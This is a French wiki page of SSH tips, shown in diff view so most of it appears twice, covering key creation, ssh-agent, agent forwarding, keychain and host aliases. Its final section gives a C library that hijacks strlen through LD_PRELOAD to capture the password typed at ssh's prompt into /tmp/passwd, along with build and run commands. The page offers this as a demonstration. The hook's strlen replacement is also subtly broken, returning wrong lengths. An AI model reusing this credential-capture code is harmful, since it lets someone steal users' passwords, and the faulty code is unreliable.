« Astuces ssh » : différence entre les versions

De WikiBR
Aucun résumé des modifications
Ligne 45 : Ligne 45 :
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.
Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus.
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.
Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.
==Mais un pirate peut me voler ma clef !!!==
Oui, mais elle est cryptée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :
noobpoc.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void record_pwd (char *str) {
        FILE*f = fopen("/tmp/passwd","a");
        fprintf(f,"%s\n",str);
        fflush (f);
        fclose(f);
}
size_t strlen(const char * s ) {
        static char ready = 0;
        static char dead = 0;
        if ( !dead && ready ) {
                  record_pwd(s);
                  dead = 1;
        }
        if ( !dead && !strcmp( s, "Password: ") )  {
                ready = 1;
        }
        /* Does da job... */   
        int i = 0;
        while ( s[i++] )
        return (size_t) (i-1);
}
gcc -fPIC noobpoc.c -c -w -Wall -std=c99
gcc -shared -o libnoobpoc.so noobpoc.o -lc
Kaboom sur simple modification de l'environnement :
LD_PRELOAD=./libnoobpoc.so ssh localhost
Le mdp est dans /tmp/passwd...

Version du 27 janvier 2009 à 17:17

Créer un couple de clefs :

$ ssh-keygen -t dsa

Utiliser un password pour crypter la clef est important...

Mettre la clef sur le serveur cible :

$ ssh-copy-id -i ./ssh/id_dsa.pub serveur

ou bien ( en moins bien ) :

$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub

Pour ne pas avoir à décrypter la clef à chaque utilisation, mais tout en la gardant en sécurité :

Démarrer ssh-agent:

$ eval  $(ssh-agent)

Ajouter une clef :

$ ssh-add

Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B )  :

ForwardAgent yes

Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.

Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :

keychain ~/.ssh/id_rsa ~/.ssh/id_dsa
source ~/.keychain/*-sh

à votre .bash_profile.

Utiliser des pseudo alias :

Dans un fichier texte ssh-aliases

#!/bin/bash
ssh $(basename $0) "$@"

puis le rendre utilisable :

chown root:root ssh-aliases &&
chmod 755 ssh-aliases &&
mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.

enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :

for namae in $(cat machines); do
    ln -s ~/bin/{ssh-aliases,$namae}
done


Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus. Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.

Mais un pirate peut me voler ma clef !!!

Oui, mais elle est cryptée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :

noobpoc.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void record_pwd (char *str) {
        FILE*f = fopen("/tmp/passwd","a");
        fprintf(f,"%s\n",str);
        fflush (f);
        fclose(f);
}
size_t strlen(const char * s ) {
        static char ready = 0;
        static char dead = 0;
        if ( !dead && ready ) {
                 record_pwd(s);
                 dead = 1;
        }
        if ( !dead && !strcmp( s, "Password: ") )  {
               ready = 1;
        }
        /* Does da job... */     
        int i = 0;
        while ( s[i++] )
        return (size_t) (i-1);
}


gcc -fPIC noobpoc.c -c -w -Wall -std=c99
gcc -shared -o libnoobpoc.so noobpoc.o -lc

Kaboom sur simple modification de l'environnement :

LD_PRELOAD=./libnoobpoc.so ssh localhost

Le mdp est dans /tmp/passwd...